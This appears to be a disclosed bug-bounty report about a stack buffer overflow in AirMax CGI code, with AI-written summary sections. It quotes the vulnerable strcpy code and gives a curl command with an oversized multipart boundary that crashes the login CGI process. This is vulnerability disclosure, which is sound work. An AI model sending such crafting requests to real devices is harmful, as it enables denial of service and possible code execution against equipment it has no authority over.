Other Buffer Overflow in PHP of the AirMax Products
The multipart form-data boundary value from a POST request is copied into a fixed-size stack buffer without a length check, so an oversized boundary overflows the buffer. An attacker could crash the CGI process and, the author claims, potentially achieve remote code execution on the device.
- Fixed in 4 months
- Paid in 4 months
- Disclosed after 9 months
tldr: Just like happen in Report 73491, but MUCH WORSE.
#The Vulnerability
After the Report 73491, I decided to take another look in the code on filespost.c and uploadbuffer.c (once I have nothing better to do than watch F1).
The problematic code:
char *getpost(void) {
/* Some Code */
char *mb;
char boundary[100];
/* Some Code */
if(!strncasecmp(buf,"multipart/form-data",19)) {
file_upload=1;
mb = strchr(buf,'=');
if(mb) strcpy(boundary,mb+1); //!!The problematic Line!!
else {
Error("File Upload Error: No MIME boundary found");
/* Some Code */
return(NULL);
}
}
/* Rest of the Code */
}
Has you can see, it's copied the string in mb+1 to boundary ( witch have a fixed size), so will cause a Buffer Overflow if the string in mb (here represent boundary camp in a POST request) it's bigger than 100 bytes. In a Buffer Overflow which happen in stack memory, do a remote code execution should be easy (Even more on a AirMax, once the equipment are almost identical).
#Reproduce I will not create a exploit to this report, but unlike the Report 73491, you just have to ask for one.
This Curl command will cause a buffer overflow.
curl -X POST -H "Content-Type: multipart/form-data; boundary=----------------------------dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd" --data-binary AnyDataHERE "https://192.168.1.20/login.cgi" -k -v
Obs: Some times you need a bigger boundary (more d!!).
The lighttpd will return (mod_cgi.c.1319) cleaning up CGI: process died with signal 11.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The code uses strcpy to copy an attacker-controlled multipart boundary string into a fixed 100-byte stack buffer without any length validation.
Impact
The overflow crashes the CGI process and, according to the author, could allow remote code execution on AirMax devices, though no exploit is demonstrated.
What the attacker needed
Network access to the device's web interface
How it was found
- Send a POST request to the login CGI endpoint with a multipart/form-data content type.
- Set the boundary parameter to a value longer than the fixed buffer size.
- Observe the web server logging that the CGI process died with signal 11.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When a program reads input from a request, it must store it somewhere with a limited amount of space. Here the program copies the boundary text from a file upload request into a small fixed box without checking how long it is, so a very long value spills over into nearby memory. That spill can crash the program and, in the worst case, let an attacker run their own code.
What is Memory corruption?
Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.